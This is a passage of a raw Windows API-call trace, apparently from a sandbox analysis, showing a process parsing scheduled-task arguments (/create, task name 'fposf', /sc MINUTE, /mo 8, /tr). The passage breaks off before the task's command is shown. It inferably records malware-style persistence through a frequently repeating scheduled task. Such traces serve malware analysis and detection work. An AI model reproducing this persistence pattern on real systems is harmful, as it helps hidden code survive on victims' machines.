[0085.328] lstrlenW (lpString="|create|") returned 8 [0085.328] SetLastError (dwErrCode=0x490) [0085.328] lstrlenW (lpString="create") returned 6 [0085.328] lstrlenW (lpString="create") returned 6 [0085.328] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.328] GetProcessHeap () returned 0xd0000 [0085.328] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec2f0) returned 1 [0085.328] GetProcessHeap () returned 0xd0000 [0085.328] RtlReAllocateHeap (Heap=0xd0000, Flags=0xc, Ptr=0xec2f0, Size=0x14) returned 0xec350 [0085.328] lstrlenW (lpString="create") returned 6 [0085.328] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.328] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|create|") returned 8 [0085.328] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|create|") returned 8 [0085.328] lstrlenW (lpString="|create|") returned 8 [0085.328] lstrlenW (lpString="|create|") returned 8 [0085.328] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0085.329] SetLastError (dwErrCode=0x0) [0085.329] SetLastError (dwErrCode=0x0) [0085.329] SetLastError (dwErrCode=0x0) [0085.329] lstrlenW (lpString="/tn") returned 3 [0085.329] lstrlenW (lpString="-/") returned 2 [0085.329] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.329] lstrlenW (lpString="?") returned 1 [0085.329] lstrlenW (lpString="?") returned 1 [0085.329] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.329] lstrlenW (lpString="tn") returned 2 [0085.329] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.329] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|?|") returned 3 [0085.329] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tn|") returned 4 [0085.329] lstrlenW (lpString="|?|") returned 3 [0085.329] lstrlenW (lpString="|tn|") returned 4 [0085.329] SetLastError (dwErrCode=0x490) [0085.329] lstrlenW (lpString="create") returned 6 [0085.329] lstrlenW (lpString="create") returned 6 [0085.329] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.329] lstrlenW (lpString="tn") returned 2 [0085.329] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.329] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|create|") returned 8 [0085.329] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tn|") returned 4 [0085.329] lstrlenW (lpString="|create|") returned 8 [0085.329] lstrlenW (lpString="|tn|") returned 4 [0085.330] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0085.330] SetLastError (dwErrCode=0x490) [0085.330] lstrlenW (lpString="delete") returned 6 [0085.330] lstrlenW (lpString="delete") returned 6 [0085.330] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.330] lstrlenW (lpString="tn") returned 2 [0085.330] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.330] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|delete|") returned 8 [0085.330] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tn|") returned 4 [0085.330] lstrlenW (lpString="|delete|") returned 8 [0085.330] lstrlenW (lpString="|tn|") returned 4 [0085.330] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0085.330] SetLastError (dwErrCode=0x490) [0085.330] lstrlenW (lpString="query") returned 5 [0085.330] lstrlenW (lpString="query") returned 5 [0085.330] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.330] lstrlenW (lpString="tn") returned 2 [0085.330] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.330] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|query|") returned 7 [0085.330] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tn|") returned 4 [0085.330] lstrlenW (lpString="|query|") returned 7 [0085.330] lstrlenW (lpString="|tn|") returned 4 [0085.330] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0085.330] SetLastError (dwErrCode=0x490) [0085.330] lstrlenW (lpString="change") returned 6 [0085.330] lstrlenW (lpString="change") returned 6 [0085.330] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.331] lstrlenW (lpString="tn") returned 2 [0085.331] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.331] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|change|") returned 8 [0085.331] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tn|") returned 4 [0085.331] lstrlenW (lpString="|change|") returned 8 [0085.331] lstrlenW (lpString="|tn|") returned 4 [0085.331] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0085.331] SetLastError (dwErrCode=0x490) [0085.331] lstrlenW (lpString="run") returned 3 [0085.331] lstrlenW (lpString="run") returned 3 [0085.331] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.331] lstrlenW (lpString="tn") returned 2 [0085.331] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.331] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|run|") returned 5 [0085.331] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tn|") returned 4 [0085.331] lstrlenW (lpString="|run|") returned 5 [0085.331] lstrlenW (lpString="|tn|") returned 4 [0085.331] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0085.331] SetLastError (dwErrCode=0x490) [0085.331] lstrlenW (lpString="end") returned 3 [0085.331] lstrlenW (lpString="end") returned 3 [0085.331] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.331] lstrlenW (lpString="tn") returned 2 [0085.331] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.331] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|end|") returned 5 [0085.331] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tn|") returned 4 [0085.331] lstrlenW (lpString="|end|") returned 5 [0085.331] lstrlenW (lpString="|tn|") returned 4 [0085.331] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0085.331] SetLastError (dwErrCode=0x490) [0085.332] lstrlenW (lpString="showsid") returned 7 [0085.332] lstrlenW (lpString="showsid") returned 7 [0085.332] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.332] GetProcessHeap () returned 0xd0000 [0085.332] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xec350) returned 1 [0085.332] GetProcessHeap () returned 0xd0000 [0085.332] RtlReAllocateHeap (Heap=0xd0000, Flags=0xc, Ptr=0xec350, Size=0x16) returned 0xec350 [0085.332] lstrlenW (lpString="tn") returned 2 [0085.332] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.332] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|showsid|") returned 9 [0085.332] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tn|") returned 4 [0085.332] lstrlenW (lpString="|showsid|") returned 9 [0085.332] lstrlenW (lpString="|tn|") returned 4 [0085.332] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0085.332] SetLastError (dwErrCode=0x490) [0085.332] SetLastError (dwErrCode=0x490) [0085.332] SetLastError (dwErrCode=0x0) [0085.332] lstrlenW (lpString="/tn") returned 3 [0085.332] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0085.332] SetLastError (dwErrCode=0x490) [0085.332] SetLastError (dwErrCode=0x0) [0085.332] lstrlenW (lpString="/tn") returned 3 [0085.332] GetProcessHeap () returned 0xd0000 [0085.333] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x8) returned 0xec2f0 [0085.333] GetProcessHeap () returned 0xd0000 [0085.333] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecd20 [0085.333] SetLastError (dwErrCode=0x0) [0085.333] SetLastError (dwErrCode=0x0) [0085.333] lstrlenW (lpString="fposf") returned 5 [0085.333] lstrlenW (lpString="-/") returned 2 [0085.333] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0085.333] SetLastError (dwErrCode=0x490) [0085.333] SetLastError (dwErrCode=0x490) [0085.333] SetLastError (dwErrCode=0x0) [0085.333] lstrlenW (lpString="fposf") returned 5 [0085.333] StrChrIW (lpStart="fposf", wMatch=0x3a) returned 0x0 [0085.333] SetLastError (dwErrCode=0x490) [0085.333] SetLastError (dwErrCode=0x0) [0085.333] lstrlenW (lpString="fposf") returned 5 [0085.333] GetProcessHeap () returned 0xd0000 [0085.333] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xc) returned 0xec380 [0085.333] GetProcessHeap () returned 0xd0000 [0085.333] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecd50 [0085.333] SetLastError (dwErrCode=0x0) [0085.333] SetLastError (dwErrCode=0x0) [0085.333] lstrlenW (lpString="/sc") returned 3 [0085.333] lstrlenW (lpString="-/") returned 2 [0085.333] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.333] lstrlenW (lpString="?") returned 1 [0085.333] lstrlenW (lpString="?") returned 1 [0085.333] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.333] lstrlenW (lpString="sc") returned 2 [0085.334] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.334] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|?|") returned 3 [0085.334] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|sc|") returned 4 [0085.334] lstrlenW (lpString="|?|") returned 3 [0085.334] lstrlenW (lpString="|sc|") returned 4 [0085.334] SetLastError (dwErrCode=0x490) [0085.334] lstrlenW (lpString="create") returned 6 [0085.334] lstrlenW (lpString="create") returned 6 [0085.334] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.334] lstrlenW (lpString="sc") returned 2 [0085.334] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.334] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|create|") returned 8 [0085.334] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|sc|") returned 4 [0085.334] lstrlenW (lpString="|create|") returned 8 [0085.334] lstrlenW (lpString="|sc|") returned 4 [0085.334] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0085.334] SetLastError (dwErrCode=0x490) [0085.334] lstrlenW (lpString="delete") returned 6 [0085.334] lstrlenW (lpString="delete") returned 6 [0085.334] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.334] lstrlenW (lpString="sc") returned 2 [0085.334] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.334] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|delete|") returned 8 [0085.334] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|sc|") returned 4 [0085.335] lstrlenW (lpString="|delete|") returned 8 [0085.335] lstrlenW (lpString="|sc|") returned 4 [0085.335] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0085.335] SetLastError (dwErrCode=0x490) [0085.335] lstrlenW (lpString="query") returned 5 [0085.335] lstrlenW (lpString="query") returned 5 [0085.335] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.335] lstrlenW (lpString="sc") returned 2 [0085.335] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.335] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|query|") returned 7 [0085.335] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|sc|") returned 4 [0085.335] lstrlenW (lpString="|query|") returned 7 [0085.335] lstrlenW (lpString="|sc|") returned 4 [0085.335] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0085.335] SetLastError (dwErrCode=0x490) [0085.335] lstrlenW (lpString="change") returned 6 [0085.335] lstrlenW (lpString="change") returned 6 [0085.335] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.335] lstrlenW (lpString="sc") returned 2 [0085.335] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.335] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|change|") returned 8 [0085.335] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|sc|") returned 4 [0085.335] lstrlenW (lpString="|change|") returned 8 [0085.335] lstrlenW (lpString="|sc|") returned 4 [0085.335] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0085.335] SetLastError (dwErrCode=0x490) [0085.336] lstrlenW (lpString="run") returned 3 [0085.336] lstrlenW (lpString="run") returned 3 [0085.336] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.336] lstrlenW (lpString="sc") returned 2 [0085.336] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.336] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|run|") returned 5 [0085.336] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|sc|") returned 4 [0085.336] lstrlenW (lpString="|run|") returned 5 [0085.336] lstrlenW (lpString="|sc|") returned 4 [0085.336] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0085.336] SetLastError (dwErrCode=0x490) [0085.336] lstrlenW (lpString="end") returned 3 [0085.336] lstrlenW (lpString="end") returned 3 [0085.336] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.336] lstrlenW (lpString="sc") returned 2 [0085.336] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.336] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|end|") returned 5 [0085.336] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|sc|") returned 4 [0085.336] lstrlenW (lpString="|end|") returned 5 [0085.336] lstrlenW (lpString="|sc|") returned 4 [0085.336] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0085.336] SetLastError (dwErrCode=0x490) [0085.336] lstrlenW (lpString="showsid") returned 7 [0085.336] lstrlenW (lpString="showsid") returned 7 [0085.336] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.336] lstrlenW (lpString="sc") returned 2 [0085.336] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.337] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|showsid|") returned 9 [0085.337] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|sc|") returned 4 [0085.337] lstrlenW (lpString="|showsid|") returned 9 [0085.337] lstrlenW (lpString="|sc|") returned 4 [0085.337] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0085.337] SetLastError (dwErrCode=0x490) [0085.337] SetLastError (dwErrCode=0x490) [0085.337] SetLastError (dwErrCode=0x0) [0085.337] lstrlenW (lpString="/sc") returned 3 [0085.337] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0085.337] SetLastError (dwErrCode=0x490) [0085.337] SetLastError (dwErrCode=0x0) [0085.337] lstrlenW (lpString="/sc") returned 3 [0085.337] GetProcessHeap () returned 0xd0000 [0085.337] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x8) returned 0xec3a0 [0085.337] GetProcessHeap () returned 0xd0000 [0085.337] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecd80 [0085.337] SetLastError (dwErrCode=0x0) [0085.337] SetLastError (dwErrCode=0x0) [0085.337] lstrlenW (lpString="MINUTE") returned 6 [0085.337] lstrlenW (lpString="-/") returned 2 [0085.337] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0085.337] SetLastError (dwErrCode=0x490) [0085.337] SetLastError (dwErrCode=0x490) [0085.337] SetLastError (dwErrCode=0x0) [0085.337] lstrlenW (lpString="MINUTE") returned 6 [0085.337] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0085.337] SetLastError (dwErrCode=0x490) [0085.337] SetLastError (dwErrCode=0x0) [0085.338] lstrlenW (lpString="MINUTE") returned 6 [0085.338] GetProcessHeap () returned 0xd0000 [0085.338] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0xe) returned 0xec3c0 [0085.338] GetProcessHeap () returned 0xd0000 [0085.338] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecdb0 [0085.338] SetLastError (dwErrCode=0x0) [0085.338] SetLastError (dwErrCode=0x0) [0085.338] lstrlenW (lpString="/mo") returned 3 [0085.338] lstrlenW (lpString="-/") returned 2 [0085.338] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.338] lstrlenW (lpString="?") returned 1 [0085.338] lstrlenW (lpString="?") returned 1 [0085.338] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.338] lstrlenW (lpString="mo") returned 2 [0085.338] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.338] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|?|") returned 3 [0085.338] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|mo|") returned 4 [0085.338] lstrlenW (lpString="|?|") returned 3 [0085.338] lstrlenW (lpString="|mo|") returned 4 [0085.338] SetLastError (dwErrCode=0x490) [0085.338] lstrlenW (lpString="create") returned 6 [0085.338] lstrlenW (lpString="create") returned 6 [0085.338] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.338] lstrlenW (lpString="mo") returned 2 [0085.338] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.339] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|create|") returned 8 [0085.339] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|mo|") returned 4 [0085.339] lstrlenW (lpString="|create|") returned 8 [0085.339] lstrlenW (lpString="|mo|") returned 4 [0085.339] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0085.339] SetLastError (dwErrCode=0x490) [0085.339] lstrlenW (lpString="delete") returned 6 [0085.339] lstrlenW (lpString="delete") returned 6 [0085.339] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.339] lstrlenW (lpString="mo") returned 2 [0085.339] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.339] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|delete|") returned 8 [0085.339] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|mo|") returned 4 [0085.339] lstrlenW (lpString="|delete|") returned 8 [0085.339] lstrlenW (lpString="|mo|") returned 4 [0085.339] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0085.339] SetLastError (dwErrCode=0x490) [0085.339] lstrlenW (lpString="query") returned 5 [0085.339] lstrlenW (lpString="query") returned 5 [0085.339] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.339] lstrlenW (lpString="mo") returned 2 [0085.339] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.339] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|query|") returned 7 [0085.339] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|mo|") returned 4 [0085.340] lstrlenW (lpString="|query|") returned 7 [0085.340] lstrlenW (lpString="|mo|") returned 4 [0085.340] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0085.340] SetLastError (dwErrCode=0x490) [0085.342] lstrlenW (lpString="change") returned 6 [0085.342] lstrlenW (lpString="change") returned 6 [0085.342] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.343] lstrlenW (lpString="mo") returned 2 [0085.343] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.343] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|change|") returned 8 [0085.343] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|mo|") returned 4 [0085.343] lstrlenW (lpString="|change|") returned 8 [0085.343] lstrlenW (lpString="|mo|") returned 4 [0085.343] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0085.343] SetLastError (dwErrCode=0x490) [0085.343] lstrlenW (lpString="run") returned 3 [0085.343] lstrlenW (lpString="run") returned 3 [0085.343] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.343] lstrlenW (lpString="mo") returned 2 [0085.343] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.343] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|run|") returned 5 [0085.343] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|mo|") returned 4 [0085.343] lstrlenW (lpString="|run|") returned 5 [0085.343] lstrlenW (lpString="|mo|") returned 4 [0085.343] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0085.343] SetLastError (dwErrCode=0x490) [0085.343] lstrlenW (lpString="end") returned 3 [0085.343] lstrlenW (lpString="end") returned 3 [0085.343] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.343] lstrlenW (lpString="mo") returned 2 [0085.343] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.343] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|end|") returned 5 [0085.344] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|mo|") returned 4 [0085.344] lstrlenW (lpString="|end|") returned 5 [0085.344] lstrlenW (lpString="|mo|") returned 4 [0085.344] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0085.344] SetLastError (dwErrCode=0x490) [0085.344] lstrlenW (lpString="showsid") returned 7 [0085.344] lstrlenW (lpString="showsid") returned 7 [0085.344] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.344] lstrlenW (lpString="mo") returned 2 [0085.344] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.344] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|showsid|") returned 9 [0085.344] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|mo|") returned 4 [0085.344] lstrlenW (lpString="|showsid|") returned 9 [0085.344] lstrlenW (lpString="|mo|") returned 4 [0085.344] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0085.344] SetLastError (dwErrCode=0x490) [0085.344] SetLastError (dwErrCode=0x490) [0085.344] SetLastError (dwErrCode=0x0) [0085.344] lstrlenW (lpString="/mo") returned 3 [0085.344] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0085.344] SetLastError (dwErrCode=0x490) [0085.344] SetLastError (dwErrCode=0x0) [0085.344] lstrlenW (lpString="/mo") returned 3 [0085.344] GetProcessHeap () returned 0xd0000 [0085.344] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x8) returned 0xec3e0 [0085.344] GetProcessHeap () returned 0xd0000 [0085.344] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xecde0 [0085.345] SetLastError (dwErrCode=0x0) [0085.345] SetLastError (dwErrCode=0x0) [0085.345] lstrlenW (lpString="8") returned 1 [0085.345] SetLastError (dwErrCode=0x490) [0085.345] SetLastError (dwErrCode=0x0) [0085.345] lstrlenW (lpString="8") returned 1 [0085.345] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0085.345] SetLastError (dwErrCode=0x490) [0085.345] SetLastError (dwErrCode=0x0) [0085.345] lstrlenW (lpString="8") returned 1 [0085.345] GetProcessHeap () returned 0xd0000 [0085.345] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x4) returned 0xec400 [0085.345] GetProcessHeap () returned 0xd0000 [0085.345] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xece10 [0085.345] SetLastError (dwErrCode=0x0) [0085.345] SetLastError (dwErrCode=0x0) [0085.345] lstrlenW (lpString="/tr") returned 3 [0085.345] lstrlenW (lpString="-/") returned 2 [0085.345] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.345] lstrlenW (lpString="?") returned 1 [0085.345] lstrlenW (lpString="?") returned 1 [0085.345] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.345] lstrlenW (lpString="tr") returned 2 [0085.345] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.345] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|?|") returned 3 [0085.345] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f5b8 | out: _Buffer="|tr|") returned 4 [0085.346] lstrlenW (lpString="|?|") returned 3 [0085.346] lstrlenW (lpString="|tr|") returned 4 [0085.346] SetLastError (dwErrCode=0x490) [0085.346] lstrlenW (lpString="create") returned 6 [0085.346] lstrlenW (lpString="create") returned 6 [0085.346] _memicmp 